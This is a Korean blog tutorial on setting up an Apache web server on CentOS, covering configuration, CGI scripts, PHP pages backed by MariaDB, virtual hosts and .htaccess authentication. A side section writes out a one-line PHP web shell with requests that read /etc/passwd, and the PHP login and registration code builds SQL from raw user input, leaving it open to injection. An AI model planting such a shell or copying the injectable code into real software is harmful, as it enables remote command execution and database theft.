한님폐하 2022. 9. 12. 12:21
  • 웹 서버란 웹 브라우저를 이용하여 WWW(World Wide Web)을 사용하는 클라이언트에게 미리 저장된 하이퍼 텍스트를 제공하는 서버를 의미한다.
  • 리눅스에서 대표적으로 많이 사용하는 웹-서버 데몬으로는 Apache가 있다.

 

1. httpd, mod_ssl 패키지 설치와 활성화

yum -y install httpd mod_ssl
rpm -qa | egrep -i '^httpd|^mod_ssl' 
rpm -ql httpd | egrep -v '/usr/lib|/usr/share|/man/'
systemctl enable --now httpd
systemctl status httpd

 

2. httpd 서비스 관련 정보 확인

httpd -v				# Apache 버전 확인
cat /etc/services | grep '^http'	# http, https(ssl) 포트 번호 확인

 

3. Apache 웹 서버에 관련한 파일 및 디렉토리

/etc/httpd/conf/httpd.conf Apache 웹 서버 주 설정 파일
/etc/httpd/conf.d/*.conf Apache 웹 서버 주 설정 파일에 포함된 하위 설정 파일
/etc/httpd/logs /var/log/httpd, Apache 웹 서버 로그 디렉토리
/etc/httpd/modules /usr/lib/httpd/modules, Apache 웹 서버 모듈 디렉토리
/usr/sbin/httpd Apache 웹 데몬(실행 파일)
/usr/sbin/htpasswd 특정 디렉토리를 제어할 때 사용하는 사용자 패스워드 입력 프로그램
/usr/sbin/apxs Apache 모듈을 컴파일할 때 사용되는 유틸리티

 

3-1. /etc/httpd 디렉토리 구조

cd /etc/httpd
tree -L 2

 

3-2. 'httpd.conf' 파일의 중요 지시자

cat httpd.conf | egrep "^ServerRoot|^Listen|Include conf|User apache|Group apache|IncludeOptional"
ServerRoot "/etc/httpd"		# 웹 서버 설정 파일의 최상위 디렉토리
Listen 80			# 웹 서버 listen 포트 지정
Include conf.modules.d/*.conf	# 모듈 설정 파일들 지정
User apache			# httpd 데몬을 실행하는 사용자
Group apache			# httpd 데몬을 실행하는 그룹
IncludeOptional conf.d/*.conf	# httpd 하위 설정 파일들 지정

cat httpd.conf | egrep "^ServerAdmin|#ServerName|^DocumentRoot|#CustomLog|Alias /user1|ScriptAlias /cgi"
ServerAdmin root@localhost			# 관리자 이메일 주소 지정
#ServerName www.example.com:80			# 웹 서버 이름과 포트
DocumentRoot "/var/www/html"			# 웹 서비스 소스 디렉토리
    #CustomLog "logs/access_log" common		# 웹 서버 로그 형식
        Alias /user1 /home/user1/public_html	# 웹 디렉토리 엘리어스 설정
    ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"	# 스크립트 엘리어스 설정

cat httpd.conf | egrep "<Directory|</Directory>" 
<Directory />			# 서비스 디렉토리 설정
</Directory>
<Directory "/var/www">		# 서비스 디렉토리 설정
</Directory>
<Directory "/var/www/html">	# 서비스 디렉토리 설정
</Directory>
    # need to provide a <Directory> section to allow access to
<Directory "/var/www/cgi-bin">	#  서비스 디렉토리 설정
</Directory>

 

4. 웹서버 구성과 테스트

4-1. 웹서버 기본 구성

echo "### Server1 Apache Web Test Server ###" > /var/www/html/index.html
curl http://192.168.2.200
curl -k https://192.168.2.200
curl -I http://192.168.2.200
firefox http://192.168.2.200 &

 

4-2. 사용자별 웹서버 설정

4-2-1. 가상 디렉토리 이용

  • 'user1'으로 로그인하여 user1 사용자를 위한 웹 기본 설정을 실시하고 로그아웃한다.
su - user1
echo "<H1><CENTER>Web Server(server1 : /home/user1/public_html/index.html)</CENTER></H1>"  > public_html/index.html
chmod 711 /home/user1
exit

 

  •  root 계정에서 다음과 같은 설정을 실시한다.
vi /etc/httpd/conf.d/userdir.conf
# UserDir disabled
UserDir public_html

vi /etc/httpd/conf/httpd.conf
Alias /user1 /home/user1/public_html	# ~user1 대신 user1으로 접속 가능

 

  • 클라이언트에서 'curl'을 이용하여 Server1(user1) 웹 접속 테스트를 실시한다.
curl http://192.168.2.200/~user1/index.html

 

4-2-2. 물리 디렉토리 이용

echo "<H1><CENTER>Web Server(server1 : /var/www/html/user2/index.html)</CENTER></H1>" > /var/www/html/user2/index.html
curl http://192.168.2.200/user2/index.html

 

4-3. Apache 웹 서버 구성

4-3-1. ServerAdmin, ServerName 지시자 설정

vi /etc/httpd/conf/httpd.conf
ServerAdmin root@hannimpeha.com
ServerName www.hannimpeha.com:80

 

4-3-2. CGI(Common Gateway Interface)

  • 서버와 클라이언트 간에 필요한 정보을 교환하게 해주는 일종의 웹 인터페이스/프로토콜이다.
  • 용도 : 동적 HTML, 데이터베이스 질의 처리 등
  • CGI 제작 도구 : C, Perl, Python, PHP, Shell...
    • /var/www/cgi-bin 디렉토리에 CGI 스크립트 파일을 제작하여 사용한다. 
    • DocumentRoot 디렉토리가 다른 경우에는 해당 디렉토리 안에 cgi-bin 디렉토리를 생성하여 CGI 스크립트 파일을 제작한다.

 

4-3-2-1. Shell 스크립트

  • ScriptAlias 지시자를 사용하여 CGI 디렉토리를 설정하고, /www1/cgi-bin 디렉토리를 생성 후, test.cgi(쉘 스크립트)를 만든다.
vi /etc/httpd/conf.d/vhost.conf
ScriptAlias /cgi-bin/ /www1/cgi-bin/
httpd -t

vi /www1/cgi-bin/test.cgi
#!/bin/bash
echo "Content-Type: text/html"
echo ""
echo "<pre>"
echo "Username : "
whoami 
echo ""
echo "ID : "
id 
echo ""
echo "Server1 File System Monitoring : "
df -h -T
echo ""
echo "Server1 IP Address : "
ifconfig ens33 | grep inet
echo ""
echo "</pre>"
chmod 555 /www1/cgi-bin/test.cgi

 

4-3-2-2. Perl 스크립트

  • 'perl' 패키지를 설치하고, '/etc/httpd/conf.d/perl.conf' 파일을 vi 편집기로 오픈하여 30~36 라인 주석을 삭제한다.
yum -y install epel-release
yum -y install mod_perl
rpm -qa | grep mod_perl
rpm -ql mod_perl | egrep -v '/usr/share/doc|/man|/usr/lib|/usr/share/license'

vi /etc/httpd/conf.d/perl.conf
Alias /perl /var/www/perl
<Directory /var/www/perl>
SetHandler perl-script
PerlResponseHandler ModPerl::Registry
PerlOptions +ParseHeaders
Options +ExecCGI
</Directory>
httpd -t

 

  • '/var/www/perl/test.pl' perl 스크립트 파일 생성 및 실행 권한을 설정한다.
cat << EOF >> /var/www/perl/test.pl
#!/usr/bin/perl
use strict;
print "Content-Type: text/html; charset=ISO-8859-1\n\n";
print "<HTML><BODY><H1><CENTER>";
print "Server1(Perl) time is:<BR>";
print scalar localtime();
print "</CENTER></H1></BODY></HTML>"
EOF
chmod 755 /var/www/perl/test.pl

 

4-3-2-3. PHP 스크립트

  • php, php-mysqlnd(MariaDB,Mysql 연동 모듈) 패키지를 설치하고, 웹페이지를 구성한다.
yum -y install php php-mysqlnd
rpm -qa | grep php
echo "<?php phpinfo(); ?>" > /www1/index.php 
cat << EOF >> /www1/test.php
<HTML><BODY><CENTER><H1>
Server1(PHP) time is: <BR>
<?php
print strftime("%c");
\$jb_conn = mysqli_connect( 'localhost', 'megait', 'centos', 'testdb' );
\$jb_sql = "SELECT * FROM users;";
\$jb_result = mysqli_query( \$jb_conn, \$jb_sql );
while( \$jb_row = mysqli_fetch_array( \$jb_result ) ) {
echo
'<p>'
. \$jb_row[ 'id' ]
. \$jb_row[ 'login' ]
. \$jb_row[ 'password' ]
. \$jb_row[ 'username' ]
. \$jb_row[ 'age' ]
. '</p>'
;
}
?>
</H1></CENTER></BODY></HTML>
EOF

 

  • 클라이언트 X윈도우에서 파이어폭스를 이용하여 Server1 웹 접속 테스트를 실시한다
firefox http://192.168.2.200/index.php &
firefox http://192.168.2.200/test.php &

 

[참고] PHP 웹쉘(WebShell) 제작

<pre>
<?php echo shell_exec($_GET['cmd']); ?>
<pre>

firefox http://192.168.2.200/cmd.php?cmd=ls &
firefox http://192.168.2.200/cmd.php?cmd=/sbin/ifconfig+ens33 &
firefox http://192.168.2.200/cmd.php?cmd=cat+/etc/passwd &
firefox http://192.168.2.200/cmd.php?cmd=nmcli+connection &

 

[참고] PHP 회원 가입 페이지 생성 및 MariaDB 연동 테스트

  • MariaDB를 설치하고, 접속하여 'phpdb' DB 생성, 'member' 테이블을 생성한다.
yum -y install mariadb-server
rpm -qa mariadb-server
systemctl enable --now mariadb
mysql_secure_installation						# root 계정 패스워드를 설정
mysql -u root -p
create user hannimpeha@'%' identified by 'foo';	# 사용자 생성
grant all privileges on *.* to hannimpeha@'%' identified by 'foo';
flush privileges;
quit;

mysql -u root -p
create database testdb;				# 'testdb' DB 생성
use testdb;
show databases;
create table member (id int, login varchar(10), password varchar(10), username varchar(20), age int);	# 'member' 테이블 생성
insert into member values('member1', 'member1111', 'kim', 23); 
insert into member values('member2', 'member2222', 'lee', 26); 
insert into member values('member3', 'member3333', 'park', 29);
select * from member;
desc member;
show tables;

 

  • 메인페이지 'main.php'을 제작한다.
vi /etc/httpd/conf.d/www1/main.php
<!doctype html>
<html lang="ko">
  <head>
    <meta charset="utf-8">
    <title>hannimpeha PHP 테스트 페이지</title>
    <style>
      body { font-family: sans-serif; font-size: 14px; }
      input, button { font-family: inherit; font-size: inherit; }
    </style>
  </head>
  <body>
  <center>
    <h1> hannimpeha 회원 가입을 실시하여 24시간 다양한 서비스 혜택을 지원 받으세요. </h1>
    <h2> 선착순 1000명에게 Play Station5를 무료로 지급합니다.</h2>
    <img src=https://blog.kakaocdn.net/dna/m7f1m/btrEGJFvN4s/AAAAAAAAAAAAAAAAAAAAAMalbE0Hj4y5Athlpw2UTJVwId12VaiQk0b_Q3QT_0CK/img><br><br>?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&expires=1753973999&allow_ip=&allow_referer=&signature=%2FH7AM7LRDVzI%2FB5D4I%2Fj6Jbb6%2BY%3D
    <img src=https://t1.daumcdn.net/cfile/tistory/99AA693B5C47D26D18></img><br><br>
    <a href="register.php"><button type="button">hannimpeha 회원 가입</button></a>
  </center>
  </body>
</html>

 

  • 회원가입 페이지 'register.php'을 제작한다.
vi /etc/httpd/conf.d/www1/register.php
<?php
  $username = $_POST[ 'username' ];
  $password = $_POST[ 'password' ];
  $password_confirm = $_POST[ 'password_confirm' ];
  if ( !is_null( $username ) ) {
    $jb_conn = mysqli_connect( 'localhost', 'hannimpeha', 'foo', 'phpdb' );
    $jb_sql = "SELECT username FROM member WHERE username = '$username';";
    $jb_result = mysqli_query( $jb_conn, $jb_sql );
    while ( $jb_row = mysqli_fetch_array( $jb_result ) ) {
      $username_e = $jb_row[ 'username' ];
    }
    if ( $username == $username_e ) {
      $wu = 1;
    } elseif ( $password != $password_confirm ) {
      $wp = 1;
    } else {
      $encrypted_password = password_hash( $password, PASSWORD_DEFAULT);
      $jb_sql_add_user = "INSERT INTO member ( username, password ) VALUES ( '$username', '$encrypted_password' );";
      mysqli_query( $jb_conn, $jb_sql_add_user );
      header( 'Location: register-ok.php' );
    }
  }
?>
<!doctype html>
<html lang="ko">
  <head>
    <meta charset="utf-8">
    <title>hannimpeha 회원 가입</title>
    <style>
      body { font-family: sans-serif; font-size: 14px; }
      input, button { font-family: inherit; font-size: inherit; }
    </style>
  </head>
  <body>
    <h1>hannimpeha 회원 가입</h1>
    <form action="register.php" method="POST">
      <p><input type="text" name="username" placeholder="사용자 아이디" required></p>
      <p><input type="password" name="password" placeholder="비밀번호" required></p>
      <p><input type="password" name="password_confirm" placeholder="비밀번호 확인" required></p>
      <p><input type="submit" value="회원 가입"></p>
      <?php
        if ( $wu == 1 ) {
          echo "<p>사용자 아이디가 중복되었습니다.</p>";
        }
        if ( $wp == 1 ) {
          echo "<p>비밀번호가 일치하지 않습니다.</p>";
        }
      ?>
    </form>
  </body>
</html>

 

  • 회원 가입 성공 메세지 출력 페이지 'register-ok.php'을 제작한다.
vi /etc/httpd/conf.d/www1/register-ok.php
<!doctype html>
<html lang="ko">
  <head>
    <meta charset="utf-8">
    <title>hannimpeha 회원 가입</title>
    <style>
      body { font-family: sans-serif; font-size: 14px; }
    </style>
  </head>
  <body>
    <h1>hannimpeha 회원 가입이 완료되었습니다. 축하합니다. </h1>
    <a href="login.php">로그인</a>
  </body>
</html>

 

  • 로그인 페이지 'login.php'을 제작한다.
vi /etc/httpd/conf.d/www1/login.php
<?php
  $username = $_POST[ 'username' ];
  $password = $_POST[ 'password' ];
  if ( !is_null( $username ) ) {
    $jb_conn = mysqli_connect( 'localhost', 'hannimpeha', 'foo', 'phpdb' );
    $jb_sql = "SELECT password FROM member WHERE username = '" . $username . "';";
    $jb_result = mysqli_query( $jb_conn, $jb_sql );
    while ( $jb_row = mysqli_fetch_array( $jb_result ) ) {
      $encrypted_password = $jb_row[ 'password' ];
    }
    if ( is_null( $encrypted_password ) ) {
      $wu = 1;
    } else {
      if ( password_verify( $password, $encrypted_password ) ) {
        session_start();
        $_SESSION[ 'username' ] = $username;
        header( 'Location: login-ok.php' );
      } else {
        $wp = 1;
      }
    }
  }
?>
<!doctype html>
<html lang="ko">
  <head>
    <meta charset="utf-8">
    <title>hannimpeha 로그인</title>
    <style>
      body { font-family: sans-serif; font-size: 14px; }
      input, button { font-family: inherit; font-size: inherit; }
    </style>
  </head>
  <body>
    <h1>hannimpeha 로그인</h1>
    <form action="login.php" method="POST">
      <p><input type="text" name="username" placeholder="사용자 아이디" required></p>
      <p><input type="password" name="password" placeholder="비밀번호" required></p>
      <p><input type="submit" value="로그인"></p>
      <?php
        if ( $wu == 1 ) {
          echo "<p>사용자 아이디가 존재하지 않습니다.</p>";
        }
        if ( $wp == 1 ) {
          echo "<p>비밀번호가 틀렸습니다.</p>";
        }
      ?>
    </form>
  </body>
</html>

 

  • 로그인 성공 메세지 출력 페이지 'login-ok.php'을 제작한다.
vi /etc/httpd/conf.d/www1/login-ok.php
<?php
  session_start();
  $session_username = $_SESSION[ 'username' ];
  if ( is_null( $session_username ) ) {
    header( 'Location: login.php' );
  }
?>
<!doctype html>
<html lang="ko">
  <head>
    <meta charset="utf-8">
    <title>hannimpeha 로그인</title>
    <style>
      body { font-family: sans-serif; font-size: 14px; }
      input, button { font-family: inherit; font-size: inherit; }
    </style>
  </head>
  <body>
    <h1><?php echo $session_username; ?> 회원님, 로그인이 성공되었습니다. </h1>
    <a href="change-password.php">비밀번호 변경</a><br>>br>
    <a href="logout.php">로그아웃</a>
  </body>
</html>

 

  • 로그아웃 출력 페이지 'logout.php'을 제작한다.
vi /etc/httpd/conf.d/www1/logout.php
<?php
  session_start();
  session_destroy();
  header( 'Location: login.php' );
?>

 

  • Client1 X 윈도우에서 파이어폭스를 이용하여 Server1 웹 접속 테스트를 실시한다.
  • 회원가입 및 비밀번호 변경을 실시하면, MariaDB 'phpdb' 데이터베이스의 'member' 테이블에 저장된다. 
firefox http://192.168.2.200/main.php &

 

[참고] CGI 방식와 WAS 방식 차이점

  •  CGI 방식은 웹서버와 외부 프로그램을 직접 연결시켜 웹서버 위에서 외부 프로그램이 실행되는 방식이고,
  •  WAS 방식은 외부 프로그램을 웹서버와 분리시키고 WAS라는 별개의 서버 위에서 실행이 된다.

 

4-3-3. '/www1' 디렉토리를 사용하는 가상 호스트를 구성한다.

  • '/usr/share/doc/httpd/httpd-vhosts.conf' 파일 내용을 참고하여 '/etc/httpd/conf.d/vhost.conf' 파일을 제작한다.
vi /etc/httpd/conf.d/vhost.conf
<VirtualHost *:80>
    ServerAdmin webmaster@hannimpeha.com
    ServerName www.hannimpeha.com
    ServerAlias hannimpeha.com
    DocumentRoot "/www1"
    ErrorLog "/var/log/httpd/hannimpeha.com_error_log"
    CustomLog "/var/log/httpd/hannimpeha.com_access_log" common
    <Directory /www1>
       Require all granted
       Options Indexes Includes
    </Directory>
</VirtualHost>
:wq
httpd -t

 

5. .htaccess 파일을 이용한 웹 보안

  • '.htaccess' 파일을 이용하면 인증 단계를 실시하여 index 페이지가 열리기 때문에 웹 서버 특정 디렉토리 내용을 보호할 수 있다.
  • CGI 스크립트 실행을 아이디/패스워드 인증을 거친 사용자에게만 허용하기 위해서는 .htaccess 파일을 인증할 디렉토리에 넣는다.
  • AllowOverride 지시자를 이용하여 어떻게 접근을 허용할 것인가에 대해서 설정한다.
vi /etc/httpd/conf.d/vhost.conf 
AllowOverride AuthConfig
httpd -t

 

[참고] AllowOverride 지시자 옵션

AuthConfig 지시자에 명시한 파일에 대하여 클라이언트 인증 지시자의 사용을 허용한다.
AuthType 인증 타입은 Basic, Digest가 있지만, 현재 Basic만 지원한다.
AuthName 인증 영역에 대한 이름을 지정하는 지시자. 클라이언트의 웹 브라우저에 전달 되어 유저 인증 윈도우 내의 영역에 표시되며 주의할 점은 영역 이름을 기입할 때 스페이스가 들어가서는 안된다. 만일 영역 이름에 스페이스가 들어 갈 때는 반드시 큰 따옴표로 묶어 주어야 한다.
AuthUserFile 인증 사용자와 패스워드를 가진 패스워드 파일을 지정하는 지시자. 사용자 인증 패스워드 파일을 지정할 때 슬래쉬가 없는 경우, 즉 디렉토리르 지정하지 않으면 서버 루트 디렉토리를 기본으로 한다.
require user 지정한 유저만 디렉토리 접근을 허용한다.
require valid-user 패스워드 인증이 올바르게 된 사용들만 접근을 허용한다.
  • AllowOverride 옵션으로 AuthConfig 지정한 경우, AuthName, AuthType, AuthUserFile, require 등을 지정할 수 있다.
vi /etc/httpd/conf.d/www1/.htaccess
AuthName	"restricted stuff"
AuthType	Basic
AuthUserFile	/etc/httpd/conf/mypasswd
require		valid-user

 

  •  Baisc 인증 타입은 특정 웹페이지를 접근하는 경우, /etc/httpd/conf/mypasswd 파일에 정의된 ID/PASS 정보와 일치하는 경우에만 웹페이지에 접근할 수 있다.
  •  'htpasswd 명령어를 이용하여 '/etc/httpd/conf/mypasswd' 파일을 생성한다.
htpasswd -c /etc/httpd/conf/mypasswd testuser